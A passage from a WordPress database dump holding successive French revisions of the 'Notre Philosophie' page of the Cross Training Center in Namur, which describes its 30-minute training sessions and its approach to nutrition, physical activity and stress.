15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:29:04', '2013-07-04 16:29:04', '', 11, 'http://www.crosstrainingcenter.be/?p=284', 0, 'revision', '', 0),
(104, 1, '2013-06-16 13:47:09', '2013-06-16 13:47:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:47:09', '2013-06-16 13:47:09', '', 5, 'http://www.crosstrainingcenter.be/?p=104', 0, 'revision', '', 0),
(77, 1, '2013-06-16 10:26:16', '2013-06-16 10:26:16', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:26:16', '2013-06-16 10:26:16', '', 5, 'http://www.crosstrainingcenter.be/?p=77', 0, 'revision', '', 0),
(79, 1, '2013-06-16 12:22:37', '2013-06-16 12:22:37', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:22:37', '2013-06-16 12:22:37', '', 5, 'http://www.crosstrainingcenter.be/?p=79', 0, 'revision', '', 0),
(80, 1, '2013-06-16 12:48:30', '2013-06-16 12:48:30', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:48:30', '2013-06-16 12:48:30', '', 5, 'http://www.crosstrainingcenter.be/?p=80', 0, 'revision', '', 0),
(81, 1, '2013-06-16 12:49:14', '2013-06-16 12:49:14', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:49:14', '2013-06-16 12:49:14', '', 5, 'http://www.crosstrainingcenter.be/?p=81', 0, 'revision', '', 0),
(82, 1, '2013-06-16 12:50:14', '2013-06-16 12:50:14', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:50:14', '2013-06-16 12:50:14', '', 5, 'http://www.crosstrainingcenter.be/?p=82', 0, 'revision', '', 0),
(83, 1, '2013-06-16 12:52:57', '2013-06-16 12:52:57', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:52:57', '2013-06-16 12:52:57', '', 5, 'http://www.crosstrainingcenter.be/?p=83', 0, 'revision', '', 0),
(84, 1, '2013-06-16 12:56:03', '2013-06-16 12:56:03', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:56:03', '2013-06-16 12:56:03', '', 5, 'http://www.crosstrainingcenter.be/?p=84', 0, 'revision', '', 0),
(85, 1, '2013-06-16 12:57:28', '2013-06-16 12:57:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:28', '2013-06-16 12:57:28', '', 5, 'http://www.crosstrainingcenter.be/?p=85', 0, 'revision', '', 0),
(86, 1, '2013-06-16 12:57:39', '2013-06-16 12:57:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:39', '2013-06-16 12:57:39', '', 5, 'http://www.crosstrainingcenter.be/?p=86', 0, 'revision', '', 0),
(88, 1, '2013-06-16 12:58:10', '2013-06-16 12:58:10', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:10', '2013-06-16 12:58:10', '', 5, 'http://www.crosstrainingcenter.be/?p=88', 0, 'revision', '', 0),
